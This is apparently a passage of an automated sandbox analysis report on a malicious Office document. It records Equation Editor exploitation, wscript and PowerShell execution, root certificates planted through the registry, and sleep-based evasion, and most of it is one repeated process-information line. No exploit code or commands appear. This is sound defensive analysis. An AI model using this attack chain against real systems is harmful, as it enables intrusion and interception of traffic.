Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002BC2DA pushad ; retn 002Bh 2_2_002BC2DD

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Office drops RTF file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File dump: ~WRD0000.tmp.0.dr Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File dump: ~WRD0000.tmp.0.dr Jump to dropped file
Stores large binary data to the registry
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1948 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 595 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4734 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2142 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3364 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3648 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3576 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3684 Thread sleep count: 4734 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3684 Thread sleep count: 2142 > 30 Jump to behavior
